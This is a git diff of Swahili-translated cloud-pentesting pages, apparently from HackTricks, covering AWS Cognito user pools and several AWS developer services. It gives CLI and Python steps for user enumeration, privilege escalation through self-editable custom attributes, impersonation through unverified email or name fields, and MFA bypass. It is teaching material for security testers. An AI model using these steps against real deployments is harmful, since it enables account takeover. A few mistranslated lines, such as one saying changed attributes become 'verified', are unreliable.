> [!WARNING] -> Inawezekana **kuunda majukumu tofauti ya IAM kulingana na mtoa utambulisho** ambaye mtumiaji anaingia au hata kulingana **na mtumiaji** (kwa kutumia madai). Hivyo, ikiwa una ufikiaji wa watumiaji tofauti kupitia watoa sawa au tofauti, inaweza kuwa **na faida kuingia na kufikia majukumu ya IAM ya wote**. +> Inawezekana **kuunda majukumu tofauti ya IAM kulingana na mtoa huduma wa utambulisho** ambaye mtumiaji anaingia au hata kulingana **na mtumiaji** (kwa kutumia madai). Kwa hivyo, ikiwa una ufikiaji wa watumiaji tofauti kupitia watoa huduma sawa au tofauti, inaweza kuwa **na thamani kuingia na kufikia majukumu ya IAM ya wote**. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 521b85c9d..247de44e0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -4,13 +4,13 @@ ## Basic Information -Maktaba ya mtumiaji ni directory ya watumiaji katika Amazon Cognito. Kwa maktaba ya mtumiaji, watumiaji wako wanaweza **kuingia kwenye programu yako ya wavuti au simu** kupitia Amazon Cognito, **au kuunganishwa** kupitia mtoa huduma wa kitambulisho wa **third-party** (IdP). Iwe watumiaji wako wanaingia moja kwa moja au kupitia upande wa tatu, wanachama wote wa maktaba ya mtumiaji wana wasifu wa directory ambao unaweza kufikia kupitia SDK. +Maktaba ya mtumiaji ni directory ya watumiaji katika Amazon Cognito. Kwa maktaba ya mtumiaji, watumiaji wako wanaweza **kuingia kwenye programu yako ya wavuti au simu** kupitia Amazon Cognito, **au kuunganishwa** kupitia mtoa huduma wa utambulisho wa **third-party** (IdP). Iwe watumiaji wako wanaingia moja kwa moja au kupitia upande wa tatu, wanachama wote wa maktaba ya mtumiaji wana wasifu wa directory ambao unaweza kufikia kupitia SDK. Maktaba za watumiaji zinatoa: - Huduma za kujiandikisha na kuingia. -- UI ya wavuti iliyojengwa ndani, inayoweza kubadilishwa ili kuingia kwa watumiaji. -- Kuingia kwa kijamii na Facebook, Google, Login with Amazon, na Sign in with Apple, na kupitia mtoa huduma wa kitambulisho wa SAML na OIDC kutoka kwa maktaba yako ya watumiaji. +- UI ya wavuti iliyojengwa ndani, inayoweza kubadilishwa ili kuingia watumiaji. +- Kuingia kwa kijamii na Facebook, Google, Login with Amazon, na Sign in with Apple, na kupitia mtoa huduma wa utambulisho wa SAML na OIDC kutoka kwa maktaba yako ya watumiaji. - Usimamizi wa directory ya watumiaji na wasifu wa watumiaji. - Vipengele vya usalama kama uthibitishaji wa hatua nyingi (MFA), ukaguzi wa akidi zilizovunjika, ulinzi wa kuchukua akaunti, na uthibitishaji wa simu na barua pepe. - Mifumo ya kazi iliyobadilishwa na uhamaji wa watumiaji kupitia AWS Lambda triggers. @@ -25,7 +25,7 @@ Maktaba za watumiaji zinatoa: ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), sasa inajumuisha moduli za `cognito__enum` na `cognito__attack` ambazo zinafanya otomatiki uainishaji wa mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumika kwa udhibiti wa ufikiaji, nk, na pia zinafanya otomatiki uundaji wa watumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, akidi za maktaba zinazoweza kutumika, majukumu yanayoweza kuchukuliwa katika vitambulisho vya id, nk.\ +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), sasa inajumuisha moduli za `cognito__enum` na `cognito__attack` ambazo zinafanya otomatiki uainishaji wa mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumika kwa udhibiti wa ufikiaji, nk, na pia zinafanya otomatiki uundaji wa watumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, akidi za utambulisho zinazoweza kutumika, majukumu yanayoweza kuchukuliwa katika alama za id, nk.\ Kwa maelezo ya kazi za moduli angalia sehemu ya 2 ya [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Kwa maelekezo ya usakinishaji angalia ukurasa mkuu wa [Pacu](https://github.com/RhinoSecurityLabs/pacu). ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account @@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) ni chombo cha CLI katika python ambacho kinatekeleza mashambulizi tofauti kwenye Cognito ikiwa ni pamoja na uundaji wa akaunti zisizohitajika na oracle ya akaunti. Angalia [hii kiungo](https://github.com/padok-team/cognito-scanner) kwa maelezo zaidi. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) ni chombo cha CLI katika python ambacho kinatekeleza mashambulizi tofauti kwenye Cognito ikiwa ni pamoja na uundaji wa akaunti zisizohitajika na oracle ya akaunti. Angalia [this link](https://github.com/padok-team/cognito-scanner) kwa maelezo zaidi. ```bash # Install pip install cognito-scanner @@ -49,7 +49,7 @@ python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl ``` ## Usajili -User Pools inaruhusu kwa **default** **kujiandikisha watumiaji wapya**. +User Pools inaruhusu kwa **kawaida** **kujiandikisha watumiaji wapya**. ```bash aws cognito-idp sign-up --client-id \ --username --password \ @@ -70,33 +70,33 @@ Unaweza kutumia kazi hii pia **kuorodhesha watumiaji waliopo.** Hii ndiyo ujumbe An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` > [!NOTE] -> Note in the previous command how the **custom attributes start with "custom:"**.\ +> Kumbuka katika amri ya awali jinsi **sifa za kawaida zinaanza na "custom:"**.\ > Pia fahamu kwamba unapojisajili **huwezi kuunda sifa mpya za kawaida kwa mtumiaji**. Unaweza tu kutoa thamani kwa **sifa za kawaida** (hata kama hazihitajiki) na **sifa za kawaida zilizotajwa**. -Au tu kujaribu kama id ya mteja inapatikana. Hii ndiyo hitilafu ikiwa client-id haipo: +Au tu kujaribu kama kitambulisho cha mteja kinapatikana. Hii ndiyo hitilafu ikiwa kitambulisho cha mteja hakipo: ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` -#### Ikiwa ni admin pekee ndiye anaweza kujiandikisha watumiaji +#### Ikiwa tu admin anaweza kujiandikisha watumiaji Utapata kosa hili na huwezi kujiandikisha au kuhesabu watumiaji: ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` -### Verifying Registration +### Kuangalia Usajili -Cognito inaruhusu **kuhakiki mtumiaji mpya kwa kuangalia barua pepe yake au nambari ya simu**. Hivyo, unapounda mtumiaji kwa kawaida utahitajika angalau jina la mtumiaji na nenosiri na **barua pepe na/au nambari ya simu**. Weka moja **unayoimiliki** ili upokee msimbo wa **kuhakiki** akaunti ya mtumiaji **ulioundwa** hivi: +Cognito inaruhusu **kuangalia mtumiaji mpya kwa kuangalia barua pepe yake au nambari ya simu**. Hivyo, unapounda mtumiaji kwa kawaida utahitajika angalau jina la mtumiaji na nenosiri na **barua pepe na/au nambari ya simu**. Weka tu moja **unayoimiliki** ili upokee msimbo wa **kuangalia** akaunti yako mpya ya mtumiaji **iliyoundwa** kama hii: ```bash aws cognito-idp confirm-sign-up --client-id \ --username aasdasd2 --confirmation-code \ --no-sign-request --region us-east-1 ``` > [!WARNING] -> Hata kama **inaonekana unaweza kutumia barua pepe sawa** na nambari ya simu, unapohitaji kuthibitisha mtumiaji aliyeundwa Cognito italamika kuhusu kutumia taarifa sawa na **haitakuruhusu kuthibitisha akaunti**. +> Hata kama **inaonekana unaweza kutumia barua pepe na nambari ya simu sawa**, unapohitaji kuthibitisha mtumiaji aliyeundwa Cognito italamika kuhusu kutumia taarifa sawa na **haitakuruhusu kuthibitisha akaunti**. ### Kuinua Mamlaka / Kusasisha Sifa -Kwa kawaida mtumiaji anaweza **kubadilisha thamani ya sifa zake** kwa kitu kama: +Kwa default mtumiaji anaweza **kubadilisha thamani ya sifa zake** kwa kitu kama: ```bash aws cognito-idp update-user-attributes \ --region us-east-1 --no-sign-request \ @@ -106,17 +106,17 @@ aws cognito-idp update-user-attributes \ #### Uhamasishaji wa sifa za kawaida > [!CAUTION] -> Unaweza kupata **sifa za kawaida** zikitumika (kama `isAdmin`), kwani kwa kawaida unaweza **kubadilisha thamani za sifa zako** unaweza kuwa na uwezo wa **kuongeza mamlaka** kwa kubadilisha thamani mwenyewe! +> Unaweza kupata **sifa za kawaida** zikitumika (kama `isAdmin`), kwani kwa kawaida unaweza **kubadilisha thamani za sifa zako mwenyewe** unaweza kuwa na uwezo wa **kuongeza mamlaka** kwa kubadilisha thamani hiyo mwenyewe! #### Uhamasishaji wa mabadiliko ya barua pepe/jina la mtumiaji -Unaweza kutumia hii **kubadilisha barua pepe na nambari ya simu** ya mtumiaji, lakini kisha, hata kama akaunti inabaki kuwa imethibitishwa, sifa hizo zimewekwa katika hali isiyo thibitishwa (unahitaji kuzithibitisha tena). +Unaweza kutumia hii **kubadilisha barua pepe na nambari ya simu** ya mtumiaji, lakini kisha, hata kama akaunti inabaki kuwa imethibitishwa, sifa hizo zimewekwa katika hali ya **kuthibitishwa** (unahitaji kuzithibitisha tena). > [!WARNING] > Hutaweza kuingia kwa kutumia barua pepe au nambari ya simu hadi uzithibitisha, lakini utaweza kuingia kwa kutumia jina la mtumiaji.\ -> Kumbuka kwamba hata kama barua pepe ilibadilishwa na haijathibitishwa itaonekana katika Token ya Kitambulisho ndani ya **`email`** **field** na uwanja **`email_verified`** utakuwa **uongo**, lakini ikiwa programu **haiangalii hiyo unaweza kujifanya kuwa watumiaji wengine**. +> Kumbuka kwamba hata kama barua pepe ilibadilishwa na haijathibitishwa itaonekana katika Token ya ID ndani ya **`email`** **field** na uwanja **`email_verified`** utakuwa **uongo**, lakini ikiwa programu **haiangalii hiyo unaweza kujifanya kuwa watumiaji wengine**. -> Zaidi ya hayo, kumbuka kwamba unaweza kuweka chochote ndani ya **`name`** field kwa kubadilisha **sifa ya jina**. Ikiwa programu inakagua **hiyo** field kwa sababu fulani **badala ya `email`** (au sifa nyingine yoyote) unaweza kuwa na uwezo wa **kujifanya kuwa watumiaji wengine**. +> Zaidi ya hayo, kumbuka kwamba unaweza kuweka chochote ndani ya **`name`** field kwa kubadilisha **sifa ya jina**. Ikiwa programu inakagua **uwanja huo** kwa sababu fulani **badala ya `email`** (au sifa nyingine yoyote) unaweza kuwa na uwezo wa **kujifanya kuwa watumiaji wengine**. Hata hivyo, ikiwa kwa sababu fulani umebadilisha barua pepe yako kwa mfano kuwa mpya unayoweza kufikia unaweza **kuthibitisha barua pepe hiyo kwa kutumia nambari uliyopokea katika anwani hiyo ya barua pepe**: ```bash @@ -128,11 +128,11 @@ aws cognito-idp verify-user-attribute \ Tumia **`phone_number`** badala ya **`email`** kubadilisha/thibitisha **nambari mpya ya simu**. > [!NOTE] -> Msimamizi pia anaweza kuwezesha chaguo la **kuingia kwa kutumia jina la mtumiaji linalopendekezwa na mtumiaji**. Kumbuka kwamba huwezi kubadilisha thamani hii kuwa **jina lolote la mtumiaji au preferred_username ambalo tayari linatumika** kuiga mtumiaji mwingine. +> Msimamizi anaweza pia kuwezesha chaguo la **kuingia kwa kutumia jina la mtumiaji linalopendekezwa na mtumiaji**. Kumbuka kwamba huwezi kubadilisha thamani hii kuwa **jina lolote la mtumiaji au preferred_username ambalo tayari linatumika** kuiga mtumiaji mwingine. ### Rejesha/Badilisha Nenosiri -Inawezekana kurejesha nenosiri kwa kujua tu **jina la mtumiaji** (au email au simu inakubaliwa) na kuwa na ufaccess kwa sababu nambari itatumwa huko: +Inawezekana kurejesha nenosiri kwa kujua tu **jina la mtumiaji** (au email au simu inakubaliwa) na kuwa na ufikiaji kwake kwani msimbo utatumwa huko: ```bash aws cognito-idp forgot-password \ --client-id \ @@ -156,24 +156,24 @@ aws cognito-idp change-password \ --proposed-password \ --access-token ``` -## Authentication +## Uthibitisho -Mkusanyiko wa watumiaji unasaidia **njia tofauti za kuthibitisha** kwake. Ikiwa una **jina la mtumiaji na nenosiri** kuna pia **mbinu tofauti** zinazosaidiwa kuingia.\ +Mkusanyiko wa watumiaji unasaidia **njia tofauti za kuthibitisha**. Ikiwa una **jina la mtumiaji na nenosiri**, pia kuna **mbinu tofauti** zinazosaidiwa kuingia.\ Zaidi ya hayo, wakati mtumiaji anathibitishwa katika Mkusanyiko **aina 3 za tokeni hutolewa**: **ID Token**, **Access token** na **Refresh token**. -- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Inajumuisha madai kuhusu **utambulisho wa mtumiaji aliyethibitishwa,** kama vile `jina`, `barua pepe`, na `nambari ya simu`. ID token inaweza pia kutumika **kuhuthibitisha watumiaji kwenye seva zako za rasilimali au programu za seva**. Lazima **uthibitishe** **sahihi** ya ID token kabla ya kuweza kuamini madai yoyote ndani ya ID token ikiwa unaitumia katika programu za nje. +- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Inajumuisha madai kuhusu **utambulisho wa mtumiaji aliyethibitishwa**, kama vile `name`, `email`, na `phone_number`. ID token inaweza pia kutumika **kuhifadhi watumiaji kwenye seva zako za rasilimali au programu za seva**. Lazima **uthibitishe** **saini** ya ID token kabla ya kuweza kuamini madai yoyote ndani ya ID token ikiwa unaitumia katika programu za nje. - ID Token ndiyo token ambayo **ina thamani za sifa za mtumiaji**, hata zile za kawaida. - [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Inajumuisha madai kuhusu mtumiaji aliyethibitishwa, orodha ya **makundi ya mtumiaji, na orodha ya mipaka**. Lengo la access token ni **kuidhinisha operesheni za API** katika muktadha wa mtumiaji katika mkusanyiko wa watumiaji. Kwa mfano, unaweza kutumia access token **kumpatia mtumiaji wako ufikiaji** wa kuongeza, kubadilisha, au kufuta sifa za mtumiaji. -- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Kwa kutumia refresh tokens unaweza **kupata ID Tokens na Access Tokens mpya** kwa mtumiaji hadi **refresh token iwe batili**. Kwa **kawaida**, refresh token **inaisha siku 30 baada** ya mtumiaji wa programu yako kuingia kwenye mkusanyiko wako wa watumiaji. Unapounda programu kwa ajili ya mkusanyiko wako wa watumiaji, unaweza kuweka muda wa kumalizika wa refresh token wa programu kuwa **thamani yoyote kati ya dakika 60 na miaka 10**. +- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Kwa kutumia refresh tokens unaweza **kupata ID Tokens na Access Tokens mpya** kwa mtumiaji hadi **refresh token ipoteze nguvu**. Kwa **kawaida**, refresh token **inaisha siku 30 baada** ya mtumiaji wa programu yako kuingia kwenye mkusanyiko wa watumiaji. Unapounda programu kwa ajili ya mkusanyiko wako wa watumiaji, unaweza kuweka muda wa kumalizika wa refresh token wa programu kuwa **thamani yoyote kati ya dakika 60 na miaka 10**. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH -Hii ni mchakato wa uthibitishaji upande wa seva: +Hii ni mchakato wa uthibitisho upande wa seva: -- Programu ya upande wa seva inaita **`AdminInitiateAuth` API operation** (badala ya `InitiateAuth`). Operesheni hii inahitaji ithibitisho za AWS zenye ruhusa zinazojumuisha **`cognito-idp:AdminInitiateAuth`** na **`cognito-idp:AdminRespondToAuthChallenge`**. Operesheni inarudisha vigezo vya uthibitishaji vinavyohitajika. -- Baada ya programu ya upande wa seva kuwa na **vigezo vya uthibitishaji**, inaita **`AdminRespondToAuthChallenge` API operation**. Operesheni ya `AdminRespondToAuthChallenge` inafanikiwa tu unapotoa ithibitisho za AWS. +- Programu ya upande wa seva inaita **`AdminInitiateAuth` API operation** (badala ya `InitiateAuth`). Operesheni hii inahitaji ithibati za AWS zenye ruhusa zinazojumuisha **`cognito-idp:AdminInitiateAuth`** na **`cognito-idp:AdminRespondToAuthChallenge`**. Operesheni inarudisha vigezo vya uthibitisho vinavyohitajika. +- Baada ya programu ya upande wa seva kuwa na **vigezo vya uthibitisho**, inaita **`AdminRespondToAuthChallenge` API operation**. Operesheni ya `AdminRespondToAuthChallenge` inafanikiwa tu unapotoa ithibati za AWS. -Hii **mbinu HAIRUHUSIWI** kwa kawaida. +**Njia hii HAIRUHUSIWI** kwa kawaida. Ili **kuingia** unahitaji kujua: @@ -185,7 +185,7 @@ Ili **kuingia** unahitaji kujua: > [!NOTE] > Ili uweze **kuingia kwa njia hii** programu hiyo lazima iruhusu kuingia kwa `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ -> Zaidi ya hayo, ili kufanya kitendo hiki unahitaji ithibitisho zenye ruhusa **`cognito-idp:AdminInitiateAuth`** na **`cognito-idp:AdminRespondToAuthChallenge`** +> Zaidi ya hayo, ili kutekeleza hatua hii unahitaji ithibati zenye ruhusa **`cognito-idp:AdminInitiateAuth`** na **`cognito-idp:AdminRespondToAuthChallenge`** ```python aws cognito-idp admin-initiate-auth \ --client-id \ @@ -198,7 +198,7 @@ aws cognito-idp admin-initiate-auth \ ```
-Kanuni ya Kuingia +Kanuni za Kuingia ```python import boto3 import botocore @@ -243,8 +243,8 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_PASSWORD_AUTH -Hii njia ni nyingine rahisi na **mchakato wa uthibitishaji wa mtumiaji na nenosiri wa jadi**. Inapendekezwa **kuhamasisha njia ya uthibitishaji wa jadi** **kwenda Cognito** na **inapendekezwa** kisha **kuzimwa** na **kutumia** kisha **ALLOW_USER_SRP_AUTH** badala yake (kwa sababu hiyo haitumii nenosiri kwenye mtandao).\ -Hii **njia HAIRUHUSIWI** kwa default. +Njia hii ni mchakato mwingine rahisi na **wa jadi wa uthibitishaji wa mtumiaji na nenosiri**. Inapendekezwa **kuhamasisha njia ya jadi** ya uthibitishaji **kwenda Cognito** na **inapendekezwa** kisha **kuzimwa** na **kutumia** njia ya **ALLOW_USER_SRP_AUTH** badala yake (kwa sababu hiyo haitumii nenosiri kwenye mtandao).\ +Njia hii **HAIJAWEKWA** kuwa hai kwa chaguo-msingi. Tofauti kuu na **njia ya uthibitishaji ya awali** ndani ya msimbo ni kwamba **huhitaji kujua kitambulisho cha kundi la watumiaji** na kwamba **huhitaji ruhusa za ziada** katika Kundi la Watumiaji la Cognito. @@ -266,7 +266,7 @@ aws cognito-idp initiate-auth --client-id \ ```
-Python code to Login +Python code ya Kuingia ```python import boto3 import botocore @@ -315,11 +315,11 @@ Hii **mbinu imewezeshwa** kwa default. Ili **kuingia** unahitaji kujua: -- kitambulisho cha kundi la watumiaji -- kitambulisho cha mteja -- jina la mtumiaji -- nenosiri -- siri ya mteja (tu ikiwa programu imewekwa ili kutumia siri) +- user pool id +- client id +- username +- password +- client secret (tu ikiwa programu imewekwa kutumia siri)
@@ -357,7 +357,7 @@ aws cognito-idp initiate-auth \ ```
-Kanuni ya kusasisha +Kanuni ya kuhuisha ```python import boto3 import botocore @@ -395,30 +395,30 @@ Katika kesi hii, **uthibitishaji** utafanywa kupitia **utendaji wa kazi ya lambd ### Usalama wa Juu -Kwa kawaida umezimwa, lakini ikiwa umewezeshwa, Cognito inaweza kuwa na uwezo wa **kupata uhamasishaji wa akaunti**. Ili kupunguza uwezekano, unapaswa kuingia kutoka kwenye **mtandao ndani ya jiji moja, ukitumia wakala yule yule wa mtumiaji** (na IP ikiwa inawezekana)**.** +Kwa kawaida umezimwa, lakini ikiwa umewezeshwa, Cognito inaweza kuwa na uwezo wa **kupata uhamasishaji wa akaunti**. Ili kupunguza uwezekano, unapaswa kuingia kutoka kwa **mtandao ndani ya jiji moja, ukitumia wakala yule yule wa mtumiaji** (na IP ikiwa inawezekana)**.** -### **Kumbuka kifaa cha MFA** +### **MFA Kumbuka kifaa** -Ikiwa mtumiaji anaingia kutoka kwenye kifaa kilekile, MFA inaweza kupuuziliwa mbali, hivyo jaribu kuingia kutoka kwenye kivinjari kilekile na metadata ile ile (IP?) ili kujaribu kupuuzilia mbali ulinzi wa MFA. +Ikiwa mtumiaji anaingia kutoka kwa kifaa kile kile, MFA inaweza kupuuziliwa mbali, hivyo jaribu kuingia kutoka kwa kivinjari kile kile na metadata ile ile (IP?) ili kujaribu kupuuzilia mbali ulinzi wa MFA. -## Majukumu ya Kundi la User Pool IAM +## Vikundi vya User Pool IAM Roles -Inawezekana kuongeza **watumiaji kwenye Kundi la User Pool** ambalo lina uhusiano na **majukumu ya IAM**.\ -Zaidi ya hayo, **watumiaji** wanaweza kupewa **kundi zaidi ya 1 lenye majukumu tofauti ya IAM**. +Inawezekana kuongeza **watumiaji kwenye vikundi vya User Pool** vinavyohusiana na **IAM roles** moja.\ +Zaidi ya hayo, **watumiaji** wanaweza kupewa **vikundi zaidi ya 1 vyenye IAM roles tofauti** vinavyounganishwa. -Kumbuka kwamba hata kama kundi liko ndani ya kundi lenye jukumu la IAM lililounganishwa, ili kuweza kupata akidi za IAM za kundi hilo inahitajika kwamba **User Pool itumike na Identity Pool** (na kujua maelezo ya Identity Pool hiyo). +Kumbuka kwamba hata kama kundi liko ndani ya kundi lenye IAM role iliyounganishwa, ili kuweza kufikia akidi za IAM za kundi hilo inahitajika kwamba **User Pool itumike na Identity Pool** (na kujua maelezo ya Identity Pool hiyo). -Sharti lingine ili kupata **jukumu lililoonyeshwa katika IdToken** wakati mtumiaji anathibitishwa katika User Pool (`aws cognito-idp initiate-auth...`) ni kwamba **Mtoa Huduma wa Utambulisho** anahitaji kuonyesha kwamba **jukumu linapaswa kuchaguliwa kutoka kwenye token.** +Sharti lingine ili kupata **IAM role iliyoonyeshwa katika IdToken** wakati mtumiaji anathibitishwa katika User Pool (`aws cognito-idp initiate-auth...`) ni kwamba **Mtoa Huduma wa Uthibitishaji wa Kitambulisho** anahitaji kuonyesha kwamba **role inapaswa kuchaguliwa kutoka kwa token.**
-**Majukumu** ambayo mtumiaji anaweza kufikia yako **ndani ya `IdToken`**, na mtumiaji anaweza **kuchagua ni jukumu gani anataka akidi zake** kwa kutumia **`--custom-role-arn`** kutoka `aws cognito-identity get-credentials-for-identity`.\ -Hata hivyo, ikiwa **chaguo la kawaida** ndilo **limewekwa** (`tumia jukumu la kawaida`), na unajaribu kufikia jukumu kutoka kwenye IdToken, utapata **kosa** (ndiyo maana usanidi wa awali unahitajika): +**Roles** ambazo mtumiaji anaweza kufikia ziko **ndani ya `IdToken`**, na mtumiaji anaweza **kuchagua ni role ipi anataka akidi zake** kwa kutumia **`--custom-role-arn`** kutoka `aws cognito-identity get-credentials-for-identity`.\ +Hata hivyo, ikiwa **chaguo la kawaida** ndilo **limewekwa** (`tumia role ya kawaida`), na unajaribu kufikia role kutoka kwa IdToken, utapata **kosa** (ndiyo maana usanidi wa awali unahitajika): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` > [!WARNING] -> Kumbuka kwamba jukumu lililotolewa kwa **User Pool Group** linahitaji kuwa **linapatikana na Mtoa Kitambulisho** ambaye **anatumaini User Pool** (kama **akili za kikao za IAM** zitapatikana kutoka kwake). +> Kumbuka kwamba jukumu lililotolewa kwa **User Pool Group** linahitaji kuwa **linapatikana na Mtoa Kitambulisho** ambaye **anatumaini User Pool** (kama **akili za kikao cha IAM** zitapatikana kutoka kwake). ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index c9b25bfbf..aaa62d256 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -7,14 +7,14 @@ AWS Data Pipeline imeundwa kuwezesha **ufikiaji, mabadiliko, na uhamishaji mzuri** wa data kwa kiwango kikubwa. Inaruhusu operesheni zifuatazo kufanywa: 1. **Fikia Data Zako Mahali Ilipo**: Data inayokaa katika huduma mbalimbali za AWS inaweza kufikiwa bila shida. -2. **Badilisha na Usindikishe kwa Kiwango Kikubwa**: Kazi za usindikaji na mabadiliko ya data kwa kiwango kikubwa zinashughulikiwa kwa ufanisi. -3. **Uhamishaji wa Matokeo kwa Ufanisi**: Data iliyosindikwa inaweza kuhamishwa kwa ufanisi kwenda huduma mbalimbali za AWS ikijumuisha: +2. **Badilisha na Usindikishe kwa Kiwango**: Kazi kubwa za usindikaji na mabadiliko ya data zinashughulikiwa kwa ufanisi. +3. **Uhamishaji wa Matokeo kwa Ufanisi**: Data iliyosindikwa inaweza kuhamishwa kwa ufanisi kwenda huduma nyingi za AWS ikiwa ni pamoja na: - Amazon S3 - Amazon RDS - Amazon DynamoDB - Amazon EMR -Kwa kifupi, AWS Data Pipeline inarahisisha uhamaji na usindikaji wa data kati ya huduma tofauti za kompyuta na uhifadhi za AWS, pamoja na vyanzo vya data vya ndani, kwa nyakati zilizotajwa. +Kwa kifupi, AWS Data Pipeline inarahisisha uhamaji na usindikaji wa data kati ya huduma tofauti za kompyuta na uhifadhi za AWS, pamoja na vyanzo vya data vya ndani, kwa nyakati zilizowekwa. ### Enumeration ```bash @@ -33,7 +33,7 @@ Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za datapipe ## CodePipeline -AWS CodePipeline ni huduma ya **usambazaji endelevu** inayosimamiwa kikamilifu ambayo inakusaidia **kujiandaa kwa ajili ya mchakato wa kutolewa** kwa sasisho za haraka na za kuaminika za programu na miundombinu. CodePipeline inafanya kiotomatiki **ujenzi, majaribio, na hatua za kutekeleza** za mchakato wako wa kutolewa kila wakati kuna mabadiliko ya msimbo, kulingana na mfano wa kutolewa uliofafanuliwa. +AWS CodePipeline ni huduma ya **usambazaji endelevu** inayosimamiwa kikamilifu ambayo inakusaidia **kujiandaa kwa ajili ya mchakato wa kutolewa** kwa sasisho za haraka na za kuaminika za programu na miundombinu. CodePipeline inafanya kiotomatiki **mchakato wa kujenga, kujaribu, na kutekeleza** kila wakati kuna mabadiliko ya msimbo, kulingana na mfano wa kutolewa ambao unaunda. ### Enumeration ```bash @@ -54,9 +54,9 @@ Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za codepipe ## CodeCommit -Ni **huduma ya udhibiti wa toleo**, ambayo inahifadhiwa na kusimamiwa kikamilifu na Amazon, ambayo inaweza kutumika kuhifadhi data kwa faragha (nyaraka, faili za binary, msimbo wa chanzo) na kuzisimamia katika wingu. +Ni **huduma ya udhibiti wa toleo**, ambayo inahifadhiwa na kusimamiwa kikamilifu na Amazon, ambayo inaweza kutumika kuhifadhi data kwa faragha (nyaraka, faili za binary, msimbo wa chanzo) na kuziendesha katika wingu. -In **ondoa** hitaji kwa mtumiaji kujua Git na **kusimamia mfumo wao wa udhibiti wa chanzo** au kuwa na wasiwasi kuhusu kupanua au kupunguza miundombinu yao. Codecommit inasaidia kazi zote za kawaida **zinazoweza kupatikana katika Git**, ambayo inamaanisha inafanya kazi bila shida na zana za sasa za Git za mtumiaji. +In **ondoa** hitaji kwa mtumiaji kujua Git na **kusimamia mfumo wao wa udhibiti wa chanzo** au kuwa na wasiwasi kuhusu kupanua au kupunguza miundombinu yao. Codecommit inasaidia kazi zote za kawaida **zinazopatikana katika Git**, ambayo inamaanisha inafanya kazi bila vaa na zana za sasa za Git za mtumiaji. ### Enumeration ```bash @@ -90,7 +90,7 @@ ssh-keygen -f .ssh/id_rsa -l -E md5 # Clone repo git clone ssh://@git-codecommit..amazonaws.com/v1/repos/ ``` -## Marejeleo +## Marejeo - [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 6b75d8de7..bbbd8d331 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -16,7 +16,7 @@ Directory Services inaruhusu kuunda aina 5 za directories: - **Amazon Cognito User Pools**: Hii ni sawa na Cognito User Pools. - **Cloud Directory**: Hii ndiyo **rahisi zaidi**. Directory **isiyo na seva** ambapo unaonyesha **schema** ya kutumia na unatozwa **kulingana na matumizi**. -AWS Directory services inaruhusu **kusawazisha** na **Microsoft AD** yako iliyopo **kwenye tovuti**, **kufanya yako mwenyewe** katika AWS au kusawazisha na **aina nyingine za directory**. +AWS Directory services inaruhusu **kusawazisha** na **Microsoft AD** yako iliyopo **kwenye tovuti**, **kukimbia yako mwenyewe** katika AWS au kusawazisha na **aina nyingine za directory**. ### Lab @@ -37,7 +37,7 @@ aws ds describe-certificate --directory-id --certificate-id ``` ### Login -Kumbuka 